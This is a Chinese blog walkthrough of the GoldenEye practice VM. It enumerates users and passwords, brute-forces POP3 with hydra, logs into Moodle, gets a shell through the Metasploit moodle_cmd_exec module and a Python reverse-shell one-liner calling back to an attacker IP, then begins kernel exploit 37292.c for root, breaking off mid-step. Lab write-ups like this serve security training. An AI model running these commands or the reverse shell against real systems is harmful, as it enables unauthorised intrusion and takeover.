红队渗透项目之黄金眼(GoldenEye)

优采云 发布时间: 2022-04-29 10:10

  红队渗透项目之黄金眼(GoldenEye)

  

  3、挖掘JS信息

  ‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍在页面查看源代码:

  ‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍<br />访问:view-source:http://192.168.4.202/terminal.js<br />

  

  通过对话可知信息中存在两个人名,以及告知了密码信息。

  获得用户名:Boris、Natalya

  获得密码,可以看出是HTML加密:‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

  &#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;<br />

  4、HTML解密

  解密的方法千万种,该项目是第一个后面会有很多个项目给大家演示,先带大家熟悉神器Burpsuiter解密HTML:kali自带Burpsuiter工具

  

  在Burpsuiter打开后在Decoder处进行HTML破解获取:InvincibleHack3r

  最终账号密码:

  boris/InvincibleHack3r<br />

  5、信息页面枚举

  通过前面的两个用户名一次尝试破解的HTML密码信息,获得了正确的用户名密码登录,登录后进行信息枚举:

  F12调试界面发现信息<br />

  

  如图所示:

  is very effective, we have configured our pop3 service to run on a very high non-default port<br />

  意思该环境开启了pop3 服务配置为在非常高的非默认端口上运行中,那还需要进行全端口的信息枚举。

  6、nmap全端口信息枚举

  从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务,进行nmap全端口扫描:

  nmap -p- 192.168.4.202 (-p-:全端口扫描 -p3306:仅仅扫描3306端口)<br />

  

  55006/tcp open unknown<br />55007/tcp open unknown<br />

  可看到发现了55006和55007开放中,但是无法知晓是什么service服务,进行版本信息枚举。

  7、nmap版本信息枚举

  发现55006,55007两个开放的端口,扫描端口开启的服务详细信息:

  nmap -sS -sV -T5 -A -p55006,55007 192.168.4.202<br />

  

  这段信息看出这两个端口开放了pop3的mail服务,那么到此我们信息收集意见归整,发现了对方的两个用户Boris、Natalya,以及开放了邮箱服务,那么肯定是有互相交往的邮件信息,接下来的目的就很明显,知晓邮箱的账号密码登录后枚举信息。

  二、暴力破解-信息枚举1、hydra暴力破解

  接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:

  echo -e 'natalya\nboris' > 12.txt ---将两个用户名写入txt文本中<br />

  通过用户名密码写入文本:

  

  然后进行hydra爆破:

  

  hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3<br />-L 引用用户密码文本<br />-P 引用密码文本<br />

  等待2~5分钟后,成功爆破出natalya、boris用户密码信息。

  获得两组账号密码:

  [55007][pop3] host: 192.168.4.202 login: natalya password: bird<br />[55007][pop3] host: 192.168.4.202 login: boris password: secret1!<br />用户:boris 密码:secret1!<br />用户:natalya 密码:bird<br />

  2、信息收集

  通过NC登录pop3查看邮件信封内容枚举,boris信息中有三封邮件信息,但是仅仅只是一些对话信息,在第二封邮件中提示了natalya给boris发送的邮件说了一句话:我已经获得了你的密码信息!那么接下来枚举natalya邮件。

  natalya用户登录邮件查看信息:

  nc 192.168.4.202 55007 ---登录邮箱<br />user natalya ---登录用户<br />pass bird ---登录密码<br />list ---查看邮件数量<br />retr 1~2 ---查看邮件内容<br />

  

  可看到在枚举natalya邮件信息中,第二封邮件直接提示了用户名密码,并且内部存在域名,还提示需要在etc/hosts中指向域名才可以正常访问。

  用户名:xenia<br />密码:RCP90rulez!<br />域:severnaya-station.com<br />网址:severnaya-station.com/gnocertdir<br />我们现根据邮件提示添加本地域名:severnaya-station.com<br />

  3、设置本地HOSTS文件

  HOSTS无论在windows还是linux环境下都是存在的,作用是将IP地址指向域名后,在本地访问域名会调转回IP地址信息可正常访问页面。

  gedit /etc/hosts<br />192.168.4.202 severnaya-station.com<br />

  

  在最后加入该条信息就行了。

  4、后台信息收集

  访问/gnocertdir地址:

  刚登陆界面我就看到了moodle,这是一个开源的CMS系统:

  

  继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:

  用户名:xenia<br />密码:RCP90rulez!<br />

  

  在信息枚举:Home / ▶ My profile / ▶ Messages ---&gt;发现有一封邮件,内容发现用户名doak:

  

  

  发现了第三个用户名信息。

  5、暴力破解doak用户

  和之前暴力破解一样的性质,继续暴力破解doak用户。

  echo doak > 11.txt ---将用户名写入txt文本中<br />hydra -L 11.txt -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3<br />

  

  [55007][pop3] host: 192.168.4.202 login: doak password: goat<br />获得用户名密码:doak/goat<br />

  成功获得了用户名密码,接下来登录邮件查看下信息。

  6、邮件信息枚举

  通过上面获得的doak密码继续登录邮件。

  nc 192.168.4.202 55007 ---登录邮箱<br />user doak ---登录用户<br />pass goat ---登录密码<br />list ---查看邮件数量<br />retr 1 ---查看邮件内容<br />

  

  邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

  用户名:dr_doak<br />密码:4England!<br />

  7、使用新的账户密码登录CMS

  

  登录doak获得的用户名密码信息后在:Home / ▶ My home 右边发现:s3cret.txt文本信息,下载查看:

  

  另外发现这是Moodle使用的2.2.3版本<br />

  

  Something juicy is located here: /dir007key/for-007.jpg<br />

  txt文件指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

  8、图片隐写信息枚举

  访问页面:/dir007key/for-007.jpg

  

  下载到本地:

  wget http://severnaya-station.com/dir007key/for-007.jpg<br />

  

  根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

  binwalk(路由逆向分析工具)<br />exiftool(图虫)<br />strings(识别动态库版本指令)<br />

  三款最常用的工具查看jpg文件底层内容,利用exiftool(图虫)工具:

  发现kali未安装,先安装:

  

  exiftool获取jpg文件底层内容:

  exiftool for-007.jpg<br />

  

  可看到正常的信息显示中存在一个base64的编码信息。

  或者用strings获取jpg文件底层内容:

  strings for-007.jpg<br />

  

  用以上命令都可以查看到base64编码隐藏信息:

  eFdpbnRlcjE5OTV4IQ==<br />

  9、Base64解码

  使用Burpsuite破解获得密码:xWinter1995x!

  

  在js文件线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

  用户名:admin<br />密码:xWinter1995x!<br />

  10、admin后台信息枚举

  通过获得的admin用户名密码登录:

  

  这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

  

  发现可以利用CVE-2013-3630漏洞进行攻击。

  三、Getshell技巧1、MSF拿shell1)登录MSF框架

  此版本有许多漏洞利用,由于我们需要在目标计算机上进行交互访问,因此我选择使用远程代码执行(RCE)漏洞利用。利用msf框架:

  msfconsole ---进入MSF框架攻击界面<br />search moodle ---查找 moodle类型 攻击的模块<br />

  

  通过搜索moodle发现存在很多漏洞可利用,选择CVE-2013-3630的exp就行。

  2)利用漏洞拿shell

  show option可以查看该exp脚本所需要的条件信息:

  use 1 ---调用1 exploit/multi/http/moodle_cmd_exec调用攻击脚本<br />set username admin ---设置用户名:admin<br />set password xWinter1995x! ---设置密码:xWinter1995x!<br />set rhost severnaya-station.com ---设置:rhosts severnaya-station.com<br />set targeturi /gnocertdir ---设置目录:/gnocertdir<br />set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse<br />set lhost 192.168.4.227 ---设置:lhost 192.168.4.227(需要本地IP)<br />exploit ----执行命令<br />

  

  可看到填入了URL、目录、账号密码等信息后获得shell,发现是普通用户权限,那么接下来的思路就是提权了。

  3)powershell设置

  如果无法执行MSF获得反弹shell,该脚本使用的是powershell命令,由于我们已经使用了管理员admin用户登录页面,需要在设置中修改:

  Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor<br />

  

  这只好save保存就行。

  2、代码执行反弹shell

  通过MSF是可以拿到shell的,但是在后台中还存在很多漏洞,接下来在演示一个利用远程代码执行命令反弹shell:

  Home / ► Site administration / ► Server / ► System paths<br />

  来到该页面将一句话放入:

  

  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'<br />

  保存后当对方服务器环境在某个点触发条件就会执行该命令,这时候在本地利用NC开启*敏*感*词*进行获得交互shell:

  nc -vlp 6666<br />

  

  这时候来到主页去触发下命令执行吧:

  Home / ► My profile / ► Blogs / ► Add a new entry<br />

  

  点击打钩处会进行回转,这时候就已经远程代码执行触发了,回到nc*敏*感*词*处看看:

  

  这时候就获得了反弹shell,www-data权限的shell了。

  四、提权

  前面获取的是低权限www-data用户,需要提权为root才可以达到我们的最终目的。

  1、内核提权

  执行tty,因为获得的权限无正常交互:

  python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty<br />uname -a # 查看权限<br />

  

  Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux<br />

  谷歌搜索:Linux ubuntu 3.13.0-32 exploit

  

  获得exp版本:37292.c可进行利用进行内核提权。

  2、kali内核脚本

  搜索exp版本信息:

  searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息<br />cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/ ---目录可自行修改<br />

  

  kali是自带很多EXP攻击脚本的,直接搜索复制到本地。

  3、CC编译EXP

  由于第一次操作上传后,项目环境无gcc,存在CC环境需要改下脚本为cc:

  gedit 37292.c ---文本打开 <br />第143行将gcc改为cc ---编写下<br />

  

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线